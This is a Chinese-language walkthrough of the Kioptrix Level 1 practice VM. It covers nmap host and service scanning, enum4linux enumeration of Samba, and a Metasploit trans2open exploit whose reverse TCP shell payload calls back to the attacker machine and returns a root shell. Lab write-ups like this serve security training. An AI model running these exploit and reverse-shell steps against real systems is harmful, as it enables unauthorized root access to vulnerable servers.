0x00.前言

鸟可择木,岂有木可择鸟?

0x01.靶机的基本信息

靶机名称:Kioptrix: Level 1 (#1)

发布日期:2010 年 2 月 17 日

靶机作者:Kioptrix

靶机地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

0x02.信息搜集

确定目标IP。

nmap -sn 192.168.31.1/24
image-20211027224750423
sudo nmap -sV -p 1-65535 -O -A 192.168.31.152
image-20211027225159253

可以看到139端口开启了Samba服务。之前一直对Samba和NFS两个服务有点分不清楚,因为也没具体使用过,这次去查了一下,算在这里做个补充。

samba服务与NFS服务的区别:
1、实用性方面的区别
    (1)samba能解决win和linux,linux和linux之间的共享,但是SMB协议是MS的,SMB的高级特性是和windows的特性联系紧密的。
    (2)对比samba,NFS更简洁、方便,更原生,兼容性方面更好。
2、不同的操作系统上运行
    (1)samba主要用于在windows和unix之间共享资源。资源包括文件、打印机等等。
    (2)NFS主要用于在UNIX/LINUX上而不是windows上。
    确实,sam能解决win和linux,linux和linux之间的共享,但是SMB协议是MS的,SMB的高级特性是和windows的特性联系紧密的.linux是向windows靠拢才用的smb,但是累赘而且力不从心. 比如我的debian,安装nfs-server和client只要80K, 安装smbclient就要19M, 这其中的差别是显而易见的. NFS更简洁,方便,更原生,兼容性更好. smb好处是和windows集成,可以利用windows域等。

一言以蔽之,各有千秋,NFS更简洁,偏向Linux,而samba由微软开发,更偏向Win。

0x03.Samba:缓冲区溢出漏洞利用

Samba服务在旧版本是有缓冲区溢出漏洞的,可以使用Enum4linux(kali自带)来探测目标服务器的Samba信息。Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB有关的目标中快速提取信息。

使用命令也很简单:

enum4linux 192.168.31.152

顺利的话,因为目标的samba服务是允许匿名登录的,所以应该可以得到Samba的版本信息为2.2.1a,不过我在本地上执行失败了。

[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.

有清楚原因的大佬还请告知。

知道了Samba服务的版本,找对应的exp利用就好了,这里我直接用的MSF。

使用命令“msfconsole”启动MSF,

image-20211027231507825

搜索模块,

search samba
image-20211027231840057

我们要使用的是第十一个,用Google也同样可以搜到exp的。

image-20211027232001997

然后就是设置好各种参数了,

show options                //查看当前各项参数情况
set rhosts 192.168.31.152    //设置目标IP
set payload linux/x86/shell_reverse_tcp    //设置payload
set lhost 192.168.31.20        //设置攻击机IP
image-20211027232342283

设置完后,执行exploit或run就可以执行了。

image-20211027232656266

可以看到很顺利的给我们返回了一个shell,还是root权限。

总结

其实这靶场还有几种其他突破的方式,我会把连接放在下面,感兴趣可以去看看,不过是国外的博客,你懂的。

https://www.abatchy.com/2016/11/kioptrix-1-walkthrough-vulnhub.html
https://hacktips.it/imparare-sfruttare-vulnerabilita-kioptrix-livello-1/
https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open/